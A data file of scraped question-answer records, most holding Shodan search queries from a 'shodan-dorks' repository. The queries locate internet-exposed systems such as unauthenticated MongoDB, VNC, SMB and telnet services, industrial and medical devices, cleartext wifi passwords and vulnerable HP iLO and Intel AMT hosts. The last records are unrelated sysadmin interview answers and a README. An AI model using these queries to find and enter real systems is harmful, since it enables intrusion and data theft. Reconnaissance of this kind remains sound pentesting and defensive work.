{"id": "gh_0e6fdaa22754", "question": "How to: SSL/TLS Certificates", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Self signed certificates\n`ssl.cert.issuer.cn:example.com ssl.cert.subject.cn:example.com`\n\nExpired certificates\n`ssl.cert.expired:true`\n\n`ssl.cert.subject.cn:example.com`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547526"}
{"id": "gh_bc585748bd9e", "question": "How to: Device Type", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`device:firewall`\n`device:router`\n`device:wap`\n`device:webcam`\n`device:media`\n`device:\"broadband router\"`\n`device:pbx`\n`device:printer`\n`device:switch`\n`device:storage`\n`device:specialized`\n`device:phone`\n`device:\"voip\"`\n`device:\"voip phone\"`\n`device:\"voip adaptor\"`\n`device:\"load balancer\"`\n`device:\"print server\"`\n`device:terminal`\n`device:remote`\n`device:telecom`\n`device:power`\n`device:proxy`\n`device:pda`\n`device:bridge`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547539"}
{"id": "gh_9d2c88a0c43c", "question": "How to: Operating System", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`os:\"windows 7\"`\n`os:\"windows server 2012\"`\n`os:\"linux 3.x\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547543"}
{"id": "gh_fc90196dcd62", "question": "How to: Customer Premises Equipment (CPE)", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`cpe:apple`\n`cpe:microsoft`\n`cpe:nginx`\n`cpe:cisco`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547548"}
{"id": "gh_e1b7be5fffac", "question": "How to: Fully open MongoDBs", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"MongoDB Server Information { \"metrics\":\"`\n`\"Set-Cookie: mongo-express=\" \"200 OK\"`\n`\"MongoDB Server Information\" port:27017 -authentication`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547557"}
{"id": "gh_10978ad3e028", "question": "How to: Fuel Pumps connected to internet:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "No auth required to access CLI terminal.\n`\"privileged command\" GET`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547565"}
{"id": "gh_b1d93dbd3712", "question": "How to: Tesla PowerPack Charging Status", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`http.title:\"Tesla PowerPack System\" http.component:\"d3\" -ga3ca4f2`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547572"}
{"id": "gh_b288450f0c0a", "question": "How to: Maritime Satellites", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Shodan made a pretty sweet Ship Tracker that maps ship locations in real time, too!\n\n`\"Cobham SATCOM\" OR (\"Sailor\" \"VSAT\")`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547577"}
{"id": "gh_1415ebce1f14", "question": "How to: CAREL PlantVisor Refrigeration Units", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Server: CarelDataServer\" \"200 Document follows\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547582"}
{"id": "gh_b71ae1a71783", "question": "How to: Nordex Wind Turbine Farms", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`http.title:\"Nordex Control\" \"Windows 2000 5.0 x86\" \"Jetty/3.1 (JSP 1.1; Servlet 2.2; java 1.6.0_14)\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547587"}
{"id": "gh_3557c2a5a086", "question": "How to: DICOM Medical X-Ray Machines", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Secured by default, thankfully, but these 1,700+ machines still have no business being on the internet.\n\n`\"DICOM Server Response\" port:104`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547592"}
{"id": "gh_fd3f57ac9d5f", "question": "How to: GaugeTech Electricity Meters", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Server: EIG Embedded Web Server\" \"200 Document follows\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547596"}
{"id": "gh_8b8aa5872180", "question": "How to: Siemens HVAC Controllers", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Server: Microsoft-WinCE\" \"Content-Length: 12581\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547601"}
{"id": "gh_b3e249ab3be8", "question": "How to: Unprotected VNC", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"authentication disabled\" port:5900,5901`\n`\"authentication disabled\" \"RFB 003.008\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547616"}
{"id": "gh_d2253a08d89a", "question": "How to: Windows RDP", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "99.99% are secured by a secondary Windows login screen.\n\n`\"\\x03\\x00\\x00\\x0b\\x06\\xd0\\x00\\x00\\x124\\x00\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547620"}
{"id": "gh_dbb733cf7391", "question": "How to: CobaltStrike Servers", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`product:\"cobalt strike team server\"`\n`product:\"Cobalt Strike Beacon\"`\n`ssl.cert.serial:146473198` \\- default certificate serial number\n`ssl.jarm:07d14d16d21d21d07c42d41d00041d24a458a375eef0c576d23a7bab9a9fb1`\n`ssl:foren.zik`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547626"}
{"id": "gh_374f01ca2d43", "question": "How to: Brute Ratel", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`http.html_hash:-1957161625`\n`product:\"Brute Ratel C4\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547630"}
{"id": "gh_55f20cb697d5", "question": "How to: Hacked routers:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Routers which got compromised\n`hacked-router-help-sos`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547636"}
{"id": "gh_94b190a15ae7", "question": "How to: Weave Scope Dashboards", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Command-line access inside Kubernetes pods and Docker containers, and real-time visualization/monitoring of the entire infrastructure.\n\n`title:\"Weave Scope\" http.favicon.hash:567176827`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547641"}
{"id": "gh_af213ea7f59e", "question": "How to: Jenkins CI", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"X-Jenkins\" \"Set-Cookie: JSESSIONID\" http.title:\"Dashboard\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547646"}
{"id": "gh_cf3eced47013", "question": "How to: Docker Private Registries", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Docker-Distribution-Api-Version: registry\" \"200 OK\" -gitlab`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547651"}
{"id": "gh_460bed7c752f", "question": "How to: Telnet Access:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "NO password required for telnet access.\n`port:23 console gateway`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547656"}
{"id": "gh_296bf9bb3d4c", "question": "How to: Android Root Bridges", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "A tangential result of Google's sloppy fractured update approach. 🙄 More information here.\n\n`\"Android Debug Bridge\" \"Device\" port:5555`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547663"}
{"id": "gh_e009e2bf2981", "question": "How to: Cisco Smart Install", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Vulnerable (kind of \"by design,\" but especially when exposed).\n\n`\"smart install client active\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547669"}
{"id": "gh_a4b59ae62976", "question": "How to: Polycom Video Conferencing", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`http.title:\"- Polycom\" \"Server: lighttpd\"`\n`\"Polycom Command Shell\" -failed port:23`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547674"}
{"id": "gh_ec5d1b6902b4", "question": "How to: Telnet Configuration:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Polycom Command Shell\" -failed port:23`\n\nExample: Polycom Video Conferencing", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547678"}
{"id": "gh_130136f9f0ec", "question": "How to: Intel Active Management CVE-2017-5689", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Intel(R) Active Management Technology\" port:623,664,16992,16993,16994,16995`\n`”Active Management Technology”`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547684"}
{"id": "gh_c4b587d4461f", "question": "How to: HP iLO 4 CVE-2017-12542", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`HP-ILO-4 !\"HP-ILO-4/2.53\" !\"HP-ILO-4/2.54\" !\"HP-ILO-4/2.55\" !\"HP-ILO-4/2.60\" !\"HP-ILO-4/2.61\" !\"HP-ILO-4/2.62\" !\"HP-iLO-4/2.70\" port:1900`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547689"}
{"id": "gh_aab917c3d9b3", "question": "How to: Wifi Passwords:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Helps to find the cleartext wifi passwords in Shodan.\n`html:\"def_wirelesspassword\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547693"}
{"id": "gh_64c02dd1548c", "question": "How to: Misconfigured Wordpress Sites:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "The wp-config.php if accessed can give out the database credentials.\n`http.html:\"* The wp-config.php creation script uses this file\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547698"}
{"id": "gh_c3cd853f54ba", "question": "How to: Exchange 2007", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"x-owa-version\" \"IE=EmulateIE7\" \"Server: Microsoft-IIS/7.0\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547703"}
{"id": "gh_3e496e0ca160", "question": "How to: Exchange 2010", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"x-owa-version\" \"IE=EmulateIE7\" http.favicon.hash:442749392`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547707"}
{"id": "gh_6e113b27d8e2", "question": "How to: Exchange 2013 / 2016", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"X-AspNet-Version\" http.title:\"Outlook\" -\"x-owa-version\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547711"}
{"id": "gh_b8820195a4cc", "question": "How to: SMB (Samba) File Shares", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Produces ~500,000 results...narrow down by adding \"Documents\" or \"Videos\", etc.\n\n`\"Authentication: disabled\" port:445`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547716"}
{"id": "gh_3ed2625e2545", "question": "How to: Specifically domain controllers:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Authentication: disabled\" NETLOGON SYSVOL -unix port:445`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547720"}
{"id": "gh_f724398eb4d4", "question": "How to: Concerning default network shares of QuickBooks files:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Authentication: disabled\" \"Shared this folder to access QuickBooks files OverNetwork\" -unix port:445`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547725"}
{"id": "gh_8a51b331d918", "question": "How to: Iomega / LenovoEMC NAS Drives", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Set-Cookie: iomega=\" -\"manage/login.html\" -http.title:\"Log In\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547730"}
{"id": "gh_d99ac2e6f384", "question": "How to: Logitech Media Servers", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Server: Logitech Media Server\" \"200 OK\"`\n\nExample: Logitech Media Servers", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547734"}
{"id": "gh_cf027325f8b9", "question": "How to: webcamXP/webcam7", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`(\"webcam 7\" OR \"webcamXP\") http.component:\"mootools\" -401`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547742"}
{"id": "gh_acad17cec03b", "question": "How to: Surveillance Cams:", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "With username:admin and password: :P\n`NETSurveillance uc-httpd`\n`Server: uc-httpd 1.0.0`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547747"}
{"id": "gh_1f54e5dd087f", "question": "How to: Epson Printers", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"SERVER: EPSON_Linux UPnP\" \"200 OK\"`\n\n`\"Server: EPSON-HTTP\" \"200 OK\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547752"}
{"id": "gh_58a671cda566", "question": "How to: Canon Printers", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Server: KS_HTTP\" \"200 OK\"`\n\n`\"Server: CANON HTTP Server\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547756"}
{"id": "gh_3badabfe00c4", "question": "How to: Apple AirPlay Receivers", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Apple TVs, HomePods, etc.\n\n`\"\\x08_airplay\" port:5353`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547764"}
{"id": "gh_342389da0063", "question": "How to: Calibre libraries", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`\"Server: calibre\" http.status:200 http.title:calibre`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547772"}
{"id": "gh_2d48b0cafd28", "question": "How to: OctoPrint 3D Printer Controllers", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`title:\"OctoPrint\" -title:\"Login\" http.favicon.hash:1307375944`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547779"}
{"id": "gh_9692b4ec7b3f", "question": "How to: Apache Directory Listings", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "Substitute .pem with any extension or a filename like phpinfo.php.\n\n`http.title:\"Index of /\" http.html:\".pem\"`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547787"}
{"id": "gh_d6ed80d44b7e", "question": "How to: Literally Everything in North Korea", "question_body": "About nullfuzz-pentest/shodan-dorks", "answer": "`net:175.45.176.0/22,210.52.109.0/24,77.94.35.0/24`", "tags": ["nullfuzz-pentest"], "source": "github_gists", "category": "nullfuzz-pentest", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 476, "answer_score": 10, "has_code": false, "url": "https://github.com/nullfuzz-pentest/shodan-dorks", "collected_at": "2026-01-17T12:59:05.547799"}
{"id": "gh_7d12085694bc", "question": "How to: <a name='toc'>Table of Contents</a>", "question_body": "About gracco/sysadmin-interview-questions", "answer": "1. [Contributors](#contributors)\n  1. [General Questions](#general)\n  1. [Simple Linux Questions](#simple)\n  1. [Medium Linux Questions](#medium)\n  1. [Hard Linux Questions](#hard)\n  1. [Expert Linux Questions](#expert)\n  1. [Networking Questions](#network)\n  1. [MySQL Questions](#mysql)\n  1. [DevOps Questions](#devop)\n  1. [Fun Questions](#fun)\n  1. [SRE Questions](#sre)\n  1. [Kubernetes Questions](#kubernetes)\n  1. [Observability Questions](#Observability)\n  1. [Demo Time](#demo)\n  1. [Other Great References](#references)\n\n####[[⬆]](#toc)\nContributors:\n* [moregeek](https://github.com/moregeek)\n* [typhonius](https://github.com/typhonius)\n* [schumar](https://github.com/schumar)\n* [negesti](https://github.com/negesti)\n* peter\n* [andreashappe](https://github.com/andreashappe)\n* [quatrix](https://github.com/quatrix)\n* [biyanisuraj](https://github.com/biyanisuraj)\n* [pedroguima](https://github.com/pedroguima)\n* Ben\n\n####[[⬆]](#toc)\nGeneral Questions:\n* What did you learn yesterday/this week?\n   - I was reading about differences types of encryption, and their usage, when use an asymmetric key or a symmetric key and what are the limits and applications of GCP when need to encrypt backups for example. \n\n* Talk about your preferred development/administration environment. (OS, Editor, Browsers, Tools, etc.)\n  - OS - Linux\n    editor - Vscode\n    Browser- chromium/firefox \n    tools - terraform, vim, git, ZSH, ohmyzsh, Python, ansible, terminator, packer, meld, helm, kubectl, aws tools, kubetail, eksctl\n    distro - Arch Linux\n    environment - i3wm + lxde\n\n* Tell me about the last major Linux project you finished.\n  - My major project in my carrier was an e-commerce creation/migration project using opensource tools like centos, java, springcloud, mongodb, centos, rabbitmq, cassandra, kafka+zookeeper, Azure, percona-mysql, NetflixOSS (as API gateway), nodejs, took 2 years to complete, I joined since the very beginning.\n\n* Tell me about the biggest mistake you've made in [some recent time period] and how you would do it differently today. What did you learn from this experience?\n  - I hired someone that it's a very good engineer but has very bad social skills. This new person broke completely the team synergy and at the end the team itself. I learned that being friendly is more important than technical skills\n\n* Why we must choose you?\n  - I have a lot of experience, with different types of environments, I worked with all three main cloud providers ( GCP, AWS and Azure), in different size of companies. I have a huge experience scaling services, learning new technologies, automating tasks, a cool mind to troubleshoot and solve problems in critical environments. I have been working as tech lead, and product owner for SRE team.\n\n* What function does DNS play on a network?\n  - It's on the core for any environment, responsible to translate IP addresses into names, DNS can also provides a load balancer layer using geolocation, service discovery using SRV entry and a lot of others features, like domain ownership confirmation using TXT entries ( useful to generate SSL certs, for example )\n\n* What is HTTP?\n  - HTTP (hypertext transport protocol) it's a protocol that defines how messages are formated and transmitted via web, and what actions webservers and browsers should take in response of various commands.\n\n* What are HTTP status codes?\n  - HTTP status codes are predefined status of the task at the server\n    - 1xx - represents informational responses\n    - 2xx - represents succesful responses\n    - 3xx - represents redirect responses\n    - 4xx - represents client errors\n    - 5xx - represents server errors\n  - The most commmons status codes are:\n    - 200 Success/OK\n    - 201 - CREATED - used by POST or PUT methods\n    - 304 - NOT MODIFIED - used in conditional GET Request to reduce bandwitdth use\n    - 400 - BAD REQUEST - This can be due to validation errors or missing input data\n    - 404 - NOT FOUND - Resource method is not available\n    - 500 - INTERNAL SERVER ERROR - server threw some exceptions while running the method\n    - 502 - BAD GATEWAY - Server was not able to get the response from another upstream server\n\n* Describe the most common HTTP methods/verbs, and give examples:\n  - GET - Read only operation, used to fetch detail from the server, downloads\n  - POST - This method is used for the creationg of new resources on the server\n  - PUT - This method is used to update existing resource on the server or to replace the resource, PUT it's indepotent, and POST isn't, with PUT you can update a resource N times, but if you try with post you will create N resources. PUT can create resources.\n  - PATCH - Applies a partial update to a resource and doesn't create a new resource\n  - DELETE - This method is used to delete the resource on the server\n  - TRACE - Provides a loop back test along the path to the target resource providing a useful debugging mechanism.\n  - OPTION", "tags": ["gracco"], "source": "github_gists", "category": "gracco", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 463, "answer_score": 10, "has_code": true, "url": "https://github.com/gracco/sysadmin-interview-questions", "collected_at": "2026-01-17T12:59:10.827428"}
{"id": "gh_ed003db5e4d0", "question": "How to: [filebrowser](https://github.com/filebrowser/filebrowser) inside a [docker container](https://hub.docker.com/r/hurlenko/filebrowser)", "question_body": "About hurlenko/filebrowser-docker", "answer": "[![Latest Github release](https://img.shields.io/github/release/hurlenko/filebrowser-docker.svg)](https://github.com/hurlenko/filebrowser-docker/releases/latest)\n[![Image size](https://img.shields.io/docker/image-size/hurlenko/aria2-ariang/latest)](https://hub.docker.com/r/hurlenko/filebrowser)\n[![Docker Pulls](https://img.shields.io/docker/pulls/hurlenko/filebrowser.svg)](https://hub.docker.com/r/hurlenko/filebrowser/)\n[![Docker Stars](https://img.shields.io/docker/stars/hurlenko/filebrowser.svg)](https://hub.docker.com/r/hurlenko/filebrowser/)", "tags": ["hurlenko"], "source": "github_gists", "category": "hurlenko", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 434, "answer_score": 10, "has_code": false, "url": "https://github.com/hurlenko/filebrowser-docker", "collected_at": "2026-01-17T12:59:12.157798"}
